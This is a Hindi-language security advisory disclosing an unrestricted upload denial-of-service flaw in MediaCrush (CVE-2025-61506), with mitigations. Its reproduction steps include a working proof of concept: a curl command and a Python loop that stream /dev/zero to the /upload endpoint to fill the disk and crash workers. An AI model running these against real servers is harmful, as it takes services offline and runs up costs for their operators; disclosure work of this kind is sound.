
अप्रतिबंधित फ़ाइल अपलोड DoS भेद्यता MediaCrush में 1.0.1 तक खोजी गई (CVE-2025-61506)
MediaCrush 1.0.1 तक के संस्करणों में एक समस्या पाई गई जो दूरस्थ अनधिकृत हमलावरों को /upload एंडपॉइंट पर किसी भी आकार की मनमानी फाइलें अपलोड करने की अनुमति देती है। भेद्यता: असीमित फ़ाइल अपलोड (CWE-434) CVE ID: CVE-2025-61506 खोजा गया : 18 सितंबर निर्धारित : 9 अक्टूबर प्रभावित घटक: mediacrush/upload.py, app.py (Flask अपलोड एंडपॉइंट) प्रभावित संस्करण: सभी संस्करण (अंतिम कमिट 8f4b2a3f, लगभग 2014) प्रभाव: सेवा से वंचित करना (DoS) गंभीरता: CVSS 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
MediaCrush का /upload एंडपॉइंट (mediacrush/upload.py) अनधिकृत हमलावरों को बिना किसी आकार सीमा, MIME प्रकार सत्यापन, या रेट लिमिटिंग के मनमाने ढंग से बड़ी फाइलें अपलोड करने की अनुमति देता है। यह डिस्क स्टोरेज (डिफ़ॉल्ट ./storage) को भरकर, Redis और Celery वर्कर्स पर अत्यधिक भार डालकर, और एप्लिकेशन को क्रैश करके सेवा से वंचित करने का कारण बनता है। Flask-आधारित अपलोड हैंडलर में इनपुट सत्यापन की कमी के कारण यह भेद्यता MediaCrush के सभी इंस्टेंस (स्थानीय या नेटवर्क-तैनात) को प्रभावित करती है। चूंकि प्रोजेक्ट अनुरक्षित नहीं है (अंतिम अपडेट 2014), कोई फिक्स मौजूद नहीं है।
स्थानीय MediaCrush इंस्टेंस सेट अप करें (README के अनुसार: Python 2.7, Flask 0.10.1, Redis, Celery)।
ऐप (python app.py) और Celery वर्कर (celery worker -A mediacrush -Q celery,priority) चलाएँ।
एक बड़ी फाइल अपलोड करने के लिए निम्नलिखित निष्पादित करें:
curl -F "file=@/dev/zero" http://localhost:5000/upload
या कई अपलोड के लिए Python स्क्रिप्ट का उपयोग करें:
import requests url = "http://localhost:5000/upload" for i in range(50): with open("/dev/zero", "rb") as f: files = {"file": (f"huge{i}.mp4", f, "video/mp4")} r = requests.post(url, files=files) print(f"Upload {i}: {r.status_code} - ID: {r.json().get('id', 'Failed')}")
परिणाम: डिस्क स्टोरेज (जैसे, /tmp/storage) भर जाता है, Celery वर्कर्स OOM के कारण क्रैश हो जाते हैं, और नए अपलोड विफल हो जाते हैं (HTTP 500/413)। Redis मेमोरी उपयोग में अचानक वृद्धि होती है।
सेवा से वंचित करना (DoS): डिस्क भर देता है, ऐप को क्रैश कर देता है, नए अपलोड या मीडिया सेवा को रोक देता है।
स्टोरेज का दुरुपयोग: हमलावर MediaCrush का उपयोग दुर्भावनापूर्ण फाइलों (जैसे, पायरेटेड सामग्री) के लिए मुफ्त असीमित स्टोरेज के रूप में कर सकते हैं।
क्लाउड लागत: यदि storage_folder क्लाउड-समर्थित है (जैसे, AWS S3), तो महत्वपूर्ण बिलिंग होती है।
संस्करण 1.0.1 तक किसी भी स्व-होस्टेड MediaCrush तैनाती को प्रभावित करता है।
Flask की MAX_CONTENT_LENGTH कॉन्फ़िगरेशन और वेब सर्वर (जैसे, nginx) की client_max_body_size निर्देशों का उपयोग करके सर्वर-साइड अपलोड आकार सीमाएँ लागू करें। संसाधनों की कमी को रोकने के लिए उचित फ़ाइल सत्यापन और रेट लिमिटिंग लागू करें।
चूंकि प्रोजेक्ट अनुरक्षित नहीं है, उपयोगकर्ताओं को फोर्क करके पैच करना चाहिए या तैनाती से बचना चाहिए।
MediaCrush रिपॉजिटरी: https://github.com/MediaCrush/MediaCrush
CWE-434: https://cwe.mitre.org/data/definitions/434.html
ओपन-सोर्स प्रोजेक्ट्स के बग बाउंटी ऑडिट के दौरान खोजा गया।
MediaCrush के लिए कोई पूर्व CVE नहीं मिला (NVD, GitHub advisories खोजे गए)।
प्रोजेक्ट अनुरक्षित नहीं है; किसी विक्रेता प्रतिक्रिया की उम्मीद नहीं है ([email protected], IRC #mediacrush निष्क्रिय)।